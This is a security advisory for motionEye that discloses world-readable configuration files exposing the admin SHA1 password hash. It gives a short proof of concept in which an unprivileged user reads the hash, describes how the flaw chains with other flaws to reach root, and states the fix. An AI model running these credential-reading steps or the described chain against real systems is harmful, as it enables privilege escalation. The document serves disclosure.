motionEye's World-Readable Configuration File Exposes Admin Password Hash

Security Advisory: World-Readable Configuration File Exposes Admin Password Hash in motionEye

Summary

motionEye v0.43.1 and prior versions create the configuration file /etc/motioneye/motion.conf with 644 permissions (-rw-r--r--), making it readable by any local user on the system. This file contains sensitive data including the admin password hash, which can be leveraged by other vulnerabilities to escalate privileges.

Affected Versions

• motionEye <= 0.43.1b4
• Fixed in motionEye 0.44.0b1 (applies 0600 mode to motion.conf and camera-*.conf files)

Vulnerability Details

World-Readable Configuration File (CWE-732)

When motionEye writes its configuration, the file /etc/motioneye/motion.conf is created with 644 permissions regardless of the installation method. This file contains the admin password hash in the @admin_password field:

# @admin_username admin
# @admin_password c18006fc138809314751cd1991f1e0b820fabd37

Any local user can read this hash without elevated privileges:

$ sudo -u testuser cat /etc/motioneye/motion.conf
# @admin_password c18006fc138809314751cd1991f1e0b820fabd37

Additionally, per-camera configuration files (camera-*.conf) are also created with the same 644 permissions, potentially exposing camera-specific credentials and settings.

Impact

The exposed admin password hash enables several attack paths:

• Offline password cracking: The SHA1 hash can be cracked to recover the plaintext admin password
• Authentication bypass: When combined with the signature authentication weakness (see GHSA-45h7-499j-7ww3), the hash can be used directly to forge authenticated admin API requests
• Full system compromise: When further chained with CVE-2025-60787 (OS command injection), a local unprivileged user can escalate to the Motion daemon user (often root)

Proof of Concept

The following demonstrates that an unprivileged user can read the admin password hash from the config file and verify it matches the admin's password:

# Verify the file permissions
$ ls -la /etc/motioneye/motion.conf
-rw-r--r-- 1 motion motion 255 Mar 11 15:42 /etc/motioneye/motion.conf

# Read the hash as an unprivileged user
$ sudo -u testuser cat /etc/motioneye/motion.conf | grep admin_password
# @admin_password c18006fc138809314751cd1991f1e0b820fabd37

# Verify the hash matches the admin password (SHA1)
$ sudo -u testuser python3 -c "import hashlib; print(hashlib.sha1(b'testpassword123').hexdigest())"
c18006fc138809314751cd1991f1e0b820fabd37

Verified Output

The following output was captured on a fresh motionEye v0.43.1b4 installation (official motioneye_init method, admin password set to testpassword123):

$ ls -la /etc/motioneye/motion.conf
-rw-r--r-- 1 motion motion 255 Mar 11 15:42 /etc/motioneye/motion.conf

$ sudo -u testuser cat /etc/motioneye/motion.conf | grep admin_password
# @admin_password c18006fc138809314751cd1991f1e0b820fabd37

$ sudo -u testuser python3 -c "import hashlib; print(hashlib.sha1(b'testpassword123').hexdigest())"
c18006fc138809314751cd1991f1e0b820fabd37

The hash extracted by the unprivileged testuser matches the SHA1 of the admin password, confirming full credential exposure.

Reproduction Steps

This vulnerability has been tested and confirmed with both installation methods described in the official motionEye documentation.

Method 1: Manual Installation

1. Install motionEye on a Linux system:

   bash

   sudo pip install motioneye
   mkdir -p /etc/motioneye /var/log/motioneye /var/lib/motioneye /run/motioneye
   cp /usr/local/lib/python3.12/dist-packages/motioneye/extra/motioneye.conf.sample /etc/motioneye/motioneye.conf
   sudo meyectl startserver -c /etc/motioneye/motioneye.conf

2. Set an admin password via the web UI at http://localhost:8765

3. Verify the config file is world-readable:

   bash

   ls -la /etc/motioneye/motion.conf
   # -rw-r--r-- 1 root root 255 ... /etc/motioneye/motion.conf

4. As an unprivileged user, read the hash:

   bash

   sudo -u testuser cat /etc/motioneye/motion.conf
   # @admin_password c18006fc138809314751cd1991f1e0b820fabd37

Method 2: Official motioneye_init Installation

1. Install motionEye using the official init script:

   bash

   sudo pip install motioneye
   sudo motioneye_init

2. The motioneye_init script automatically creates the required directories, installs the systemd service, and starts motionEye. Set an admin password via the web UI at http://localhost:8765

3. Verify the config file is still world-readable:

   bash

   ls -la /etc/motioneye/motion.conf
   # -rw-r--r-- 1 motion motion 255 ... /etc/motioneye/motion.conf

   Note that while the ownership changes to motion:motion (instead of root:root in the manual method), the permissions remain 644, meaning any local user can still read the file.

4. Confirm as an unprivileged user:

   bash

   sudo -u testuser cat /etc/motioneye/motion.conf
   # @admin_password c18006fc138809314751cd1991f1e0b820fabd37

Both installation methods produce the same vulnerable state, confirming this is the default behavior of the software and not a user misconfiguration.

Related Vulnerabilities

• GHSA-45h7-499j-7ww3: Password hash accepted as API signing key (CWE-836), which allows the hash exposed by this vulnerability to be used for forging authenticated admin API requests
• CVE-2025-60787: OS command injection via image_file_name, which requires admin authentication. When chained with both this vulnerability and GHSA-45h7-499j-7ww3, enables local privilege escalation to root

Suggested Remediation

1. Fix file permissions: Create motion.conf and camera-*.conf with 600 permissions (-rw-------), readable only by the motionEye service user (addressed in motionEye 0.44.0b1)

Timeline

• 2026-03-11: Vulnerability discovered during security research
• 2026-03-11: Vendor notified via GitHub Security Advisory
• 2026-03-12: Vendor acknowledged, confirmed fix in motionEye 0.44.0b1